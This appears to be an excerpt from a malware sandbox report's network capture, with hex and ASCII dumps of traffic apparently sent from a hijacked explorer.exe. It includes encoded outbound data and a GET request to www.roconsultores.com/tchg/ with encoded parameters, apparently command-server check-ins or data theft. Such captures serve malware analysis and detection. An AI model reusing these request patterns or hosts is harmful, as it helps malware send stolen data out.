7e 77 57 6e 38 48 28 73 33 54 7a 4a 57 68 7e 76 6e 7a 71 53 6a 31 61 65 37 66 4a 34 41 69 42 57 33 72 6a 53 4b 4c 55 36 59 39 41 32 61 76 6f 71 55 75 56 62 34 74 38 4d 62 74 42 54 52 4a 55 4a 69 41 65 67 52 30 5a 42 39 54 32 32 6f 64 4b 62 76 42 70 4f 57 75 34 57 55 72 4e 76 4e 54 79 4c 57 44 49 53 47 46 51 4b 39 52 62 55 4c 77 63 39 7e 51 74 44 56 79 36 6f 75 75 37 64 50 56 5a 4e 75 4d 32 65 76 38 4d 79 56 45 57 44 4f Data Ascii: O0qEM=MLGqPYdfD07u(KSX(hE3AEOxvg~8i-8tGGrVGaSxwBwt7iXBbMwSn_Xq(hvf0EIHNIAlcJjHSHrFFOkEqdBkO4vB4JEoiXw0PFShgEdoHnynKzgC8qpxBkJ0ibuO0YF2vk7-HD46PS3K6UQzzgNfYiDfyZz4(q0TUVhARglZecXhrChmOqi8xDTh7XGnhaa37e1SUp(YhLCCiO0bpxKab0OXsVvIOLuwfR~lvdcmBW2hDSpErws9OFjXoB(q4WpVdlLsQUfvKe7DZSStvNOs116Slmez0CHnev3ykWOLAUR9(v72KD9MIkTLdKNkrxKpXAIblFLVO6UubpQYXKU0nvhD8_4h9yHBbsapfYTi3ceXc5ZZTKB5KXE6O6JRyvGcvuzcM2N4vHcBaK1B4L40Kd88OrqY3aBMZkU1tWJeRLtcEDTsn0cxCnxSWhDzQb0muc9kGuiTBOsZj5PKu4xMTleiyeaA5LpxN-Gcw7V8znm9p8uMQH6A(eaSm5eJD_1mLH5fg5fH96tTRmr3MxFVyy3qyPD_HenI4G~ax2~Gm1c07zQDhH(JaTf1j8lddvw4MFF4xIAuPHbwNjniqnjkaU3vi7FwLe5CDQkucFswAMAt3ypIncY9TN48kUjyScrFYtjYZxBgnZsKWYQRXr3fQLG8dSuJU37NnBH-sSwCnZfCMA6D3TfTpwjKF1wq~nNQnKbwyyWTEpFG00k3edLFmOHCFyOeAhhAA-X35Bu848w-n6DK6uSo7M1mTIgNIqvdI3bD4fhpRe~bMZBbfXzbGkEG3iG3(Wy8(06JlfXg0GBA4K~JPKaLwq3C7jM7zO3fneObtCRep8D5eVUIcALmLMnipTzOZjCqInC5KansBsFYWhA1nOy4rTsh2BLPV7AR(ZCYO3VNdHj5rGPYsrY1Sz4z0bZSckubC5Z6nK60VcXDoI7OaTM6tmRtZqXgFBC6GJQMZFDT5HuxZ0Uge2g-4_Tlt0qzshlON_4uuuIH(01VOq745fU4kRoddodUXXfPyEm6Nb8cA5jpAp2UAoMXzkWzDEcXSNtaV0bZKvUqFeSMJN15TOpQoZ8whsWgEEDeXzrmW1SDMxjFzCwBOqrmzLZTIYTkVG2UXGcQzpUKWF8nJUWQtePn7F1ECLMdT38ojoJs14TyQyU3XmEPfiyd1GVIXwJ42EfGcYBujCtBFNYmNMt8VgMMwDP_C-HZVs(b~wWn8H(s3TzJWh~vnzqSj1ae7fJ4AiBW3rjSKLU6Y9A2avoqUuVb4t8MbtBTRJUJiAegR0ZB9T22odKbvBpOWu4WUrNvNTyLWDISGFQK9RbULwc9~QtDVy6ouu7dPVZNuM2ev8MyVEWDO6sLqq1dIit7TH3GtB6LuTiqVf1Jb0QtT7w6kim44kknmdJJE6xSHYK1HFGrzEiO0m7z5xj6~z5B8t3CtaD8VujMxmGIu6W1nomUlE6dgEwB5uWVGweEQy2V5Mg5yLdowNsJJwMgQsMAZegRWVekPZ8da-BZvRPfX6lGqBOR2VHX0luwzvzmE22i5aEp6OszJ74tp6UD1LEqKaUHBKt9YlduMJVffalWH_CRFvWj6udolFYcCP~486ZSwO5x45H8gG6OY5pSnNy1ekikjnaLzWXLlET5O2sZEW8-C74ePjvvOn7JNAjpnajtT9~HzuEk4PBrBjnVRJnNAwheKRm6Sqt6xIrabR1KhKB0LcGSysawt1nNz5e2QUQwJ_cFm6~AaDJHMytkxP~0zKuo6etumxi8QMzVo25jR1B5pxUAJS4vCPcMlt0MUXCwHkn8LfnSAIiNblQGI2zzxrGM9jJ7Xa~eKRqGW9MbKYb9dSHcNnb-rB5okGsBzgnHimQA2vRoRABoLDyBWTwMCEt3wDWkCYZVYrNpaN3HYZifzg0P0U3wi1I8(6VtaI9YFQhQuqKa2nT_xzzpDi4aNM0CrGnQY-M5OUKQNd1lidOXJChwGuvSmRaAanp4xCz5IvLjJyOkfiudFLEDeol532wozu1G4PhujyF-6ZYds1bARzBfWbxQ8SbiLq~rzwqmIf~n2jUuFHLTyMbPjCQU0RLT84EDqbi_4V2fUL57Df7vTCHoeUqATuHAgJ5mgMYE7AYHXZFAumWWwkfSfCWn5B5uxUgkP6mWSFYMPcgD9gAtBVLdIpiQMp9Jc5gW~dn66dpuv1t6LJbQJW(f3kCBxJUf~0nMNepZFd0yLAq_vKOhZdPmmxWPIeO2XG7rK6c2NpsOFF9xq9R8k6Zk(qArlCuA11naBtyoBdSMKMrq185MHDSr1In-n_dkLcQTJgk4PLvRl8(R~4s6~mUwikLrmJYIuc3_21D9MX255r~6VXik2A(lhUYaLfGc0l4OD2m7kNtIyVuWiOOPJ5ffH4UIrr6EhHqu2QhsxyEYVqzRx1tvrcQD1tfg(rDmEp1fI0hOWjdmtD~Hlue8IIGLQgJFgd(JJCxNxP3oGAfX4Ng5xcnLbYW4q26a1TwoKT5eChjkweK8UknaeWN57Ts2LG39zai6L3rSBB5awJMmzdzNqQ4JnvYGo3T4YCqEij9LoCfH15dNXhA01F(mpBEFzQqYzPWt3dEzO04kGUpOAK04AJEX10mwCpB4o8dYTB36pmKxdLqXt0Hk41WqZWkMlR3MX0sIcQfvn2iW9zJF5gyotPqVCi7FM-cihnS45QWCHBHZzc9d3pvxBah05VcFKGLWyTXktJueiv3D8Js7Gqv6bDCWgI6aXpRfq1gh1oYu7ZeyuJhz3dhAoCp1qTTfM3zDoXE_LioVs_jIDX6G5EO2ESJiqrSbd3rYRnvZzx4hX63KkuRyFmSYLGEnbGYb157quvCxoW(9FlrnmRf1eKiuxg(sVMclmC7Y40Layk8QOXOpQVLGUo(RMdAtqCtt3U3hBRhK99FUIU8iNyuorPyQoSfaQVmcZYTRkMFSLk(H5FRwPcyJR_117g5AldghOqjq12834Nm2wvFqI_LB2Q1uCY6AznjJeyOjKPiqhH(6k3eDoRsFk_md6Bg-vOiEtBytHKqbpBLf6eVwmQjYFKxacVmQq0b5PDk3dQUUVBO7d_ZF3rB_PouL~qw2qxVzABDccWBTEazanpPxB2WLIfkefn0bV8(X774XSr8Kzf1M9pGp41H9AXi7e2Vc6zdKy5h1l1Ppjd6J1tmwC-MtDoDsbmf2e8GRSsfkmJ2RHjUEGDZIXdVM8ZLoOwljCkmHWzMoChTX0QQ-qcjYga4daaGOvhM5wNs4~4yzSHEbaIaK4yAs(2uyflltJYGXdBaS~MXo~faHlp5nAXKuJM7S~eGFcx0vybhMA-prFRV6uci2thfnoXCKVkSkSU3neOCk9NIyxQP4JI4tqIaN2EIaqPm3jXVUcEpsCzp0M2AktNxdA6Xh7PyjjUzUZZqDC6XcqNjtBDZ6tJqFZgiiPh3BMCxPaPyTWvP7B1M56xZbIHZW2S6fmzadYyDeF3sci3Qv~IzlPEE-7j6SME(BOkZJgQgAoM6kjeBnGyghcLKtRxzuuOLtxpYt5d0OlrrLur29s8k939WdfNum6ydXmYiMaZLfSCkvefDe1kZ5O0~FXk8rTalHDhJ8hw3ZluDcTgPTkxwhRt77qM796iv68vmrSmT69pgWyYec8nvF3S8_FBdx4y4Pty1acZ9GHo3Or7X89bp7s6OFrT8-eXB4yr(d4Sb-D-kqqsYwxuEfWQ7KURxiZzUgIsh2OrxkdbH93YbYj3QNb-HctTBeAoz9UeoK~VGvj3SM464jVN2ifgVIDImIWwIuKcVUFm(tZ-2XB-4fPc9ohnl1xm4TMtMtG0BBrIoQkd1iaVM8nZcaXO4dyAtVlV6jxpX0pG~ulKepJX3sxih9sMjU(DkElJ0Lgk6JDtHdcV90qU8oy0iQkGKCm0D4tLZy6NGgbt8i30rCofb2iWifSJflG-duKM87Kec5iGoYRqdd6ztIwbb0(QVEYSe0Hml4dWExa_8YYtCnYuTsbP8yc3gZQHRGIPKNF5FEZiQe01tD5rsBrDf4IQPoxo4dgOhuAkRp2Imw82p9NzonCzNZzn5C1nixph0G2ne-uMRWhMbX
May 30, 2023 11:10:15.046735048 CEST	896	OUT	Data Raw: 35 7e 68 58 56 37 76 4a 69 39 6a 39 74 71 44 45 33 47 6a 33 30 70 54 64 69 41 53 54 30 5a 4b 37 71 55 73 4e 5f 4e 6f 53 63 63 2d 69 51 7e 57 43 75 73 71 30 33 59 70 32 48 38 66 6a 66 52 4e 43 5a 5a 50 6d 38 48 5f 53 49 4a 72 65 7a 4b 6c 30 69 28 Data Ascii: 5~hXV7vJi9j9tqDE3Gj30pTdiAST0ZK7qUsN_NoScc-iQ~WCusq03Yp2H8fjfRNCZZPm8H_SIJrezKl0i(kigEPjXN-of1mvNaEg04TZTJo30bA1FwinEX6T2XOlMRcR-Lo7xmnrz6g8whCzCMYxjsOilmRIQ9S4PaDNbNuu02GxGWBa7kj~ZCHxEc7rFAu~ysn77iNC40U85MWblfsY_eaisawbSJuVV6i7GLOX5jP~CcngnRX
May 30, 2023 11:10:15.212363958 CEST	897	OUT	Data Raw: 6f 36 56 41 44 49 4d 59 52 5a 4d 39 67 66 51 54 57 72 5a 6a 67 63 56 5a 38 74 74 39 44 56 6c 56 52 32 6e 69 72 58 4f 6a 7a 6e 75 7e 51 45 66 4d 55 69 6a 70 4c 35 53 58 76 57 4a 62 45 46 4b 48 4a 33 61 41 74 75 6d 50 51 7a 6a 33 7a 6d 58 44 65 61 Data Ascii: o6VADIMYRZM9gfQTWrZjgcVZ8tt9DVlVR2nirXOjznu~QEfMUijpL5SXvWJbEFKHJ3aAtumPQzj3zmXDeavsj51xOyujRd7z5RTZ6QCWbf9m18hG0etVDp50yEMmSzhq578odhzOpJ3pXTNNyPvzoM2cYxoVq~fFkFuBfKQcUUapVptfDjm9YNWNs6gu2fBg4y8l8OWi3XSMIIbeaYysZFMfSIobYXNB4q84Kw96X4llZ88YXcX
May 30, 2023 11:10:15.212436914 CEST	899	OUT	Data Raw: 2d 6d 72 4f 34 47 54 7e 6f 75 68 37 6f 37 4a 4a 58 5a 4e 4d 4e 6a 66 28 6d 30 47 4b 62 67 73 53 39 6d 64 7a 50 4e 76 38 34 34 4b 6d 62 53 68 6b 37 7a 75 7a 55 64 49 7a 43 37 68 35 5f 74 63 54 37 76 54 76 4f 77 33 68 6d 74 66 64 53 66 39 57 62 66 Data Ascii: -mrO4GT~ouh7o7JJXZNMNjf(m0GKbgsS9mdzPNv844KmbShk7zuzUdIzC7h5_tcT7vTvOw3hmtfdSf9WbfdrYLIrxX3fLRIz90KB3crOTfCevPe0JlhzeSoIoUYq0BBLcq89hDZnbqRppG1ORoLOP44RmMJJl2cN1h2Fxmmd43_7_b2wXGXD_ad(NEe~XbRt2qoXuZP0DNAHleJb8MVqSLM0jppTL(0mv5C56ewk3ShNrbPwtOu
May 30, 2023 11:10:15.212492943 CEST	900	OUT	Data Raw: 7a 55 35 79 4d 4b 4a 76 4a 57 35 6c 62 53 6b 31 4b 57 43 66 34 62 4e 7e 4f 28 6c 65 48 38 4b 69 59 4e 42 46 69 48 63 66 6e 75 31 76 78 34 39 47 43 30 6e 43 39 76 53 4d 73 68 5a 77 32 62 61 6b 4e 6e 6c 31 36 53 70 33 62 49 73 79 34 6a 59 47 42 4b Data Ascii: zU5yMKJvJW5lbSk1KWCf4bN~O(leH8KiYNBFiHcfnu1vx49GC0nC9vSMshZw2bakNnl16Sp3bIsy4jYGBKOpcy1LSFQbhBrCGiO1sjHJbiGPOiKBdsMoh(HIbs9QX5k1AsPC7YBbIHOjeLKnW4tWi2xlg(3o3NzZC5u~DU7p1B0s3ioCl3jUsA24pe-OPD3UwD7xvPXgTAJ0Q5-Hcwh3xN5omyXQNHobr5WMrcdfaTaO483hUPT
May 30, 2023 11:10:15.212678909 CEST	914	OUT	Data Raw: 4b 74 6d 75 39 6b 4e 6b 38 6e 74 31 59 69 4f 6d 45 78 53 6f 43 4a 53 38 4e 4c 69 6a 71 62 75 65 68 4b 4b 34 4e 51 52 65 5a 6c 31 61 78 30 36 6b 59 49 78 67 75 57 63 37 43 77 62 57 33 47 61 32 4e 76 44 7e 4b 62 65 57 73 35 41 4a 54 35 75 7a 70 50 Data Ascii: Ktmu9kNk8nt1YiOmExSoCJS8NLijqbuehKK4NQReZl1ax06kYIxguWc7CwbW3Ga2NvD~KbeWs5AJT5uzpPB0r~fbh7wvVHuzPQlBP7Lo2RwAMfOxbkE3GdswIMaOR70NcQMyhbSWtNkzwcIv7j7f3KAYwEK9DxPJ8J31Fpj0pVVd7XGPntev593ifY83-C0MLQ3unhbLfZFYGCUp_~VIaLOzgxN2q0fooXuAe9qC7Nc(wVxCYVP
May 30, 2023 11:10:15.212838888 CEST	915	OUT	Data Raw: 4d 51 4e 56 4d 4a 48 69 39 42 6a 66 34 36 45 7a 46 58 59 49 68 69 61 71 59 68 57 31 4d 58 7a 50 64 35 46 78 53 53 74 59 51 66 68 56 5a 64 59 71 32 43 56 4d 73 77 54 53 63 78 49 6e 49 62 70 6f 41 4f 75 6a 54 58 69 61 45 7a 59 48 61 41 2d 52 52 6a Data Ascii: MQNVMJHi9Bjf46EzFXYIhiaqYhW1MXzPd5FxSStYQfhVZdYq2CVMswTScxInIbpoAOujTXiaEzYHaA-RRjZOeIhsaR280j2fCzOdy7Uj-5o3cpFxVtQIl~lqPK41GUpiEOzkgxv~XupQkItJeyaa6F88MatFbsCLBTZQhSm3BsrDs2RxafzNVRJArA-ujfxQTvtGHk_XTiGI44oljL0WrPBWGcptp6BEH6fV7I5RUAxvEakddcj
May 30, 2023 11:10:15.213017941 CEST	922	OUT	Data Raw: 72 4d 42 68 50 32 44 64 39 74 4c 61 4e 56 6f 6b 53 43 4c 44 6c 6c 68 65 75 50 51 5a 2d 78 6a 44 44 35 4d 57 68 53 6a 35 59 63 59 69 44 44 30 69 45 7a 61 4f 4e 6c 52 36 54 35 6f 61 34 41 5f 41 50 6b 39 6a 79 31 4b 61 6d 35 6f 5a 4b 6b 4b 47 65 74 Data Ascii: rMBhP2Dd9tLaNVokSCLDllheuPQZ-xjDD5MWhSj5YcYiDD0iEzaONlR6T5oa4A_APk9jy1Kam5oZKkKGetjhAjVTjUSg7GOKojHCOPhvzhaKVzeg9OHQcvcht4zcTXZqc2yDksHoT9gbx34Nm16i2JzMoqHTBtqD-VqBAygY97zPDNgfJy27Z1Jcn4EFUFKUG(P(X52ksCktW3Pb0RauVqlUtjbt6KSVDd72DCcSM5Fq_TmE8eq
May 30, 2023 11:10:15.378139973 CEST	924	OUT	Data Raw: 64 57 61 79 32 69 46 64 74 38 2d 41 59 49 31 35 71 78 33 51 54 44 32 50 31 36 4e 44 4f 42 63 45 5f 62 62 53 42 72 5f 6f 62 50 79 4d 37 54 33 67 37 69 48 70 78 36 6c 44 73 76 57 32 38 67 4c 45 46 67 48 59 6b 51 68 70 78 55 39 58 56 53 53 44 6b 4d Data Ascii: dWay2iFdt8-AYI15qx3QTD2P16NDOBcE_bbSBr_obPyM7T3g7iHpx6lDsvW28gLEFgHYkQhpxU9XVSSDkM9KaVCX0HHESK80M14qtbvci1ykm9_rCY6WZR0ohjjXV5mOms1KM(yO6OX5ohOzD1vaUDCCwRdvUxo4KSucQ8nw5O4U8JVkh5M~K8GxVxT0dzFlNuEaoLo~8CJX8NfmDnfBPASbZAr(BYeR6HBDkDKjLhQKy7fnmOi
May 30, 2023 11:10:15.378226995 CEST	930	OUT	Data Raw: 45 78 48 50 73 6d 71 65 5a 4a 71 36 6f 76 6d 50 70 72 74 51 2d 62 42 41 5f 41 44 33 59 30 67 56 6e 57 65 4a 42 38 66 75 51 67 55 50 30 39 30 74 6c 32 36 65 41 5a 61 76 2d 70 4e 28 5f 51 61 76 46 53 32 74 39 33 4d 6c 47 65 78 56 45 59 31 73 4a 66 Data Ascii: ExHPsmqeZJq6ovmPprtQ-bBA_AD3Y0gVnWeJB8fuQgUP090tl26eAZav-pN(_QavFS2t93MlGexVEY1sJf6QizOGFFwT9pXthHO7rzv7Y2oW0DEv1yX79QS20PNFikTQa666LjJl1yczBqzzqydXekQPY3khlzJVg0nDFVe0GY3Q592lFFkVQ4L6cEdSfq6YA4MfQqmDvjqEQ1XCs9iSeXBvMEqLTz17anuNRDC4OQnvRbaNOBp
May 30, 2023 11:10:15.378283978 CEST	932	OUT	Data Raw: 52 47 6a 6b 45 41 70 42 32 64 70 6f 53 79 30 51 31 43 38 64 74 63 64 36 66 69 69 51 4e 62 6e 33 36 6d 6f 32 6b 56 61 59 4c 6d 70 5a 49 59 76 6f 35 52 35 78 5f 51 79 4e 5f 62 35 72 33 75 32 38 77 30 50 34 55 45 71 45 68 52 56 47 31 79 4f 4b 52 74 Data Ascii: RGjkEApB2dpoSy0Q1C8dtcd6fiiQNbn36mo2kVaYLmpZIYvo5R5x_QyN_b5r3u28w0P4UEqEhRVG1yOKRtvmey_Tly5Kl5_OZJvgWrV4V51RHHHuJ60~u3HcqOUpQqkSUzqVfhQCOcONsJ3yOsipEhuH5BVHQmZN7PXGspX(AdspCoaaHBifhhuOAYpIAraXMv4BXqO5hHoUm3YKthZADnVVSlNSmP3fEfSibAxghCi0cocbd9T
May 30, 2023 11:10:15.547918081 CEST	938	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:10:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 23 Apr 2019 07:54:14 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4677 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 52 6d 73 d3 c8 96 fe 0c bf e2 8c 73 67 80 aa d8 4a 26 61 76 b0 15 df 82 90 0c b9 05 24 9b 84 e5 4e 6d ed 52 6d e9 48 ea 49 ab 8f e8 6e d9 d6 4d cd fe f6 3d dd 92 5f 63 b8 70 77 0d b1 a5 7e 79 ce f3 16 ff f0 fa f2 f4 f6 f7 ab 33 28 5c a9 e0 ea c3 ab b7 17 a7 d0 eb 47 d1 c7 a3 d3 28 7a 7d fb 1a fe fe e6 f6 dd 5b 38 1c 1c c0 8d 33 32 71 51 74 f6 be 07 bd c2 b9 6a 18 45 b3 d9 6c 30 3b 1a 90 c9 a3 db eb 68 ee 51 0e fd b5 ee b1 6f c3 9d 41 ea d2 de f8 71 1c 86 cc 4b a5 ed c9 0e 80 c3 17 2f 5e b4 f7 7a fe d0 50 09 9d 9f f4 50 f7 60 f9 e4 31 50 a4 50 19 ca a4 c2 25 4a 5e 56 79 c0 98 67 3a 3a 3c e4 73 d0 7d e2 12 9d 00 7f ac 8f 9f 6b 39 3d e9 9d 92 76 a8 5d ff b6 a9 b0 07 49 fb 76 d2 73 38 77 91 1f 3e 82 a4 10 c6 a2 3b a9 5d d6 ff b5 07 d1 1a 9a 93 4e e1 f8 f8 e0 18 fa 70 f5 f2 b7 33 78 7f 79 0b e7 97 1f de bf 8e a3 76 ef f1 e3 47 fc 89 7f e8 f7 e1 65 9a c2 8d 92 29 c2 65 ed 2c f4 fb e3 76 cf 26 46 56 0e ac 49 96 02 12 4a 71 f0 c7 e7 1a 4d 33 48 a8 8c da c7 fe d1 e0 68 70 38 28 a5 1e fc 61 7b e3 38 6a 6f 8e 17 74 1e c2 45 49 2e fb b6 b1 d1 1f 36 b2 b2 ac 14 f6 71 5e 09 9d 3e 04 59 8a 5a a9 b3 ae 51 08 8e 8d e9 fc 48 ac 5d f3 72 42 69 73 5f 89 34 95 3a 1f 1e 8c 4a 61 72 a9 f9 21 63 0f fb 99 28 a5 6a 86 05 aa 29 3a 99 88 d1 9f cb 7b 7b de 64 21 35 9a fb ee ce cf 07 d5 1c 44 ed 68 34 93 a9 2b 86 bf fe f2 6b 35 df 79 03 f6 1c 55 ec f7 fd 44 24 77 b9 a1 5a a7 7d 59 8a 1c 87 b5 51 4f 9f 2c f5 86 35 1b f1 49 3e ff 69 36 f8 a3 ca 9f 3c 1b ad 5d 32 58 a1 70 43 4d dd d3 c6 e4 02 65 5e b8 e1 e1 57 68 94 32 fd 2e 1a 7c 7e 90 cb 6c 27 89 f6 a7 df 7c 83 fa 76 2c ec e5 c2 91 99 90 73 54 de 57 64 a5 93 a4 19 47 09 27 a7 38 52 98 b9 e1 d1 0b 46 c9 14 f1 00 ff fe 4f 00 e7 f3 f9 fd da e1 45 ac c7 3e 99 a3 17 ff c6 df 87 fc 38 82 2e b1 90 56 fb d5 3f 5c a4 f7 f5 09 7e 09 b5 5b 9f e2 4b d5 17 4a e6 7a 98 f0 16 9a ef 70 a0 83 83 3d 34 86 4c 42 29 de 87 e2 59 f9 0f 1c 1e 79 ae e1 75 d6 46 f9 eb c1 c1 b7 e2 4d 84 de ae e6 01 ff fb d6 eb 05 59 87 e9 a4 b9 df 1e bf 62 f7 f3 f3 05 3b eb 1a 85 43 e9 d8 83 64 b4 35 f1 5b 07 26 54 57 a4 ef 13 52 64 86 7b 2f 5f 1d 1c 6c 0e fb 79 e7 b0 6f 04 cf d1 59 27 0c 2b 02 f1 c5 11 47 87 3b 47 fc 8b fe af 8d 5c 84 e0 fd 3f 7a fe c5 4a 4c c8 39 2a 19 e5 7e 22 92 bb dc 50 ad d3 be 2c 45 8e c3 da a8 a7 4f a2 24 97 7d db d8 28 ac d9 88 4f b6 57 06 b9 cc 9e 3c 1b ad dd 32 58 21 b7 53 53 f7 b4 51 c8 a2 d5 72 78 fc ed e5 cc c4 e7 4f ab fd 85 1e 78 1e 22 0e df 23 a8 44 9a 4a 9d 0f e1 b0 4d be fd 19 41 a2 50 98 21 33 2d be 75 9a 48 12 32 a9 e4 36 ac c2 81 17 07 3f 8e a0 95 01 bf 3c 67 ec 11 94 52 f7 3b 31 3c ad 5d ea 98 1d 80 a8 1d 8d c0 e1 dc f5 39 c6 9c d7 12 06 47 f3 dd 24 a0 56 70 bf 8e a3 30 73 df 8f 42 bb 51 1e 3d fa 66 04 25 61 db 90 ef 66 51 6d 42 3c ff 71 d3 a2 7f 4d 5a 71 d4 a1 ce ba 30 26 a4 d2 ef d3 56 1c ef 82 80 96 ab 6b 14 93 95 8e 49 26 3b f9 fa 41 83 05 ea 7d 2a 6d a5 44 33 d4 a4 71 b1 99 49 63 79 2b 21 45 66 c8 7d ce 7e f9 e5 e0 60 b1 69 91 ef a6 ab dd a3 c9 f3 17 2f 7e 5d ec ba 42 9a b5 cd c3 17 bf 26 87 Data Ascii: RmssgJ&av$NmRmHInM=_cpw~y3(\G(z}[832qQtjEl0;hQoAqK/^zPP`1PP%J^Vyg::<s}k9=v]Ivs8w>;]Np3xyvGe)e,v&FVIJqM3Hhp8(a{8jotEI.6q^>YZQH]rBis_4:Jar!c(j):{{d!5Dh4+k5yUD$wZ}YQO,5I>i6<]2XpCMe^Wh2.\|~l'\|v,sTWdG'8RFOE>8.V?\~[KJzp=4LB)YyuFMYb;Cd5[&TWRd{/_lyoY'+G;G\?zJL9~"P,EO$}(OW<2X!SSQrxOx"#DJMAP!3-uH26?<gR;1<]9G$Vp0sBQ=f%afQmB<qMZq0&VkI&;A}mD3qIcy+!Ef}~`i/~]B&
May 30, 2023 11:10:15.548002005 CEST	939	IN	Data Raw: 2f 56 43 53 84 7b 98 88 e4 2e 37 54 eb b4 bf 38 87 cf fd bf 11 0b 31 29 f2 c2 cf d5 1c 2c 29 99 f2 56 8a 87 e9 e1 08 2a 91 a6 52 e7 43 78 ce 7b 6b 7f 5f d6 68 0b 54 ea fe 21 64 6e 44 33 da c1 62 a2 78 69 04 dd db ac 90 0e bf 1a 78 1c 05 b3 c7 cb Data Ascii: /VCS{.7T81),)VRCx{k_hT!dnD3bxixqTHr2=-c/7UtoGc-'9_e$'(e66FANz=86CG]__^g^v/o[[iG^6\|h7+(Dk3Aa0;
May 30, 2023 11:10:15.548098087 CEST	940	IN	Data Raw: c9 54 67 1a 30 2b f3 7c c0 9d 7f 7e 40 28 27 a3 a2 c2 c4 c1 7f 48 9c c1 95 9f 7b a1 33 da 0f 6a 73 72 14 8e bf c3 54 0a b8 15 93 4d 85 8f e2 89 a2 e4 ee 73 4d dc 93 44 09 6b 3d bb 14 7b e3 c2 b9 6a 18 2d da 1c 9a 9d e4 b2 6f 1b 1b 85 7c 6d 34 61 Data Ascii: Tg0+\|~@('H{3jsrTMsMDk={j-o\|m4aG+.<W6CYkGm^jTRm=9tMj=;74O'y'*22m=3}J'5Ks]lT:_0Y26F8InG.6_dzUZq4"s5R4=(f'{c8
May 30, 2023 11:10:15.548156023 CEST	941	IN	Data Raw: fb f0 37 a2 52 89 70 e5 1d 57 4f fb 7e a6 e9 fa a0 ae 62 ab 21 d6 2f 10 97 72 01 9f 08 bd 14 f9 40 e3 85 f3 fd ae 88 fb cd ed 6c 9d f6 05 2d 45 03 1a db 0a fb ea 6c 0d 09 c9 f1 51 4b be d9 24 b5 db 67 c9 06 a6 de f8 da b2 59 c2 7a 4b 6f 0b 46 b7 Data Ascii: 7RpWO~b!/r@l-ElQK$gYzKoFfKl]DX>+5Oj<u.K!t[EVdpiJ<8)3~(9szG\|o(X\v#S3fuHpi"S)*f.Tr#'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.11.20	49801	162.215.249.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:17.733148098 CEST	942	OUT	GET /tchg/?O0qEM=BJuKMup2GV76y7PN1TAAeEW5uAzDipAxIHnNePHx/XVxjn7DTtYSqvDx4g/JiwsgTds8bJvsGAi/M/AJ9Pl0F9zoyJQ+vWMQHA==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.roconsultores.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:10:17.907572031 CEST	943	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:10:17 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 23 Apr 2019 07:54:14 GMT Accept-Ranges: bytes Content-Length: 11816 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 74 69 74 6c 65 3e 0a 0a 09 09 09 09 3c 21 2d 2d 20 41 64 64 20 53 6c 69 64 65 20 4f 75 74 73 20 2d 2d 3e 0a 09 09 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 20 20 20 20 0a 09 09 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 63 67 69 2d 73 79 73 2f 6a 73 2f 73 69 6d 70 6c 65 2d 65 78 70 61 6e 64 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 68 65 6c 76 65 74 69 63 61 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 32 30 70 78 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 74 6f 70 34 30 34 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 34 30 34 74 6f 70 5f 77 2e 6a 70 67 27 29 3b 62 61 63 6b 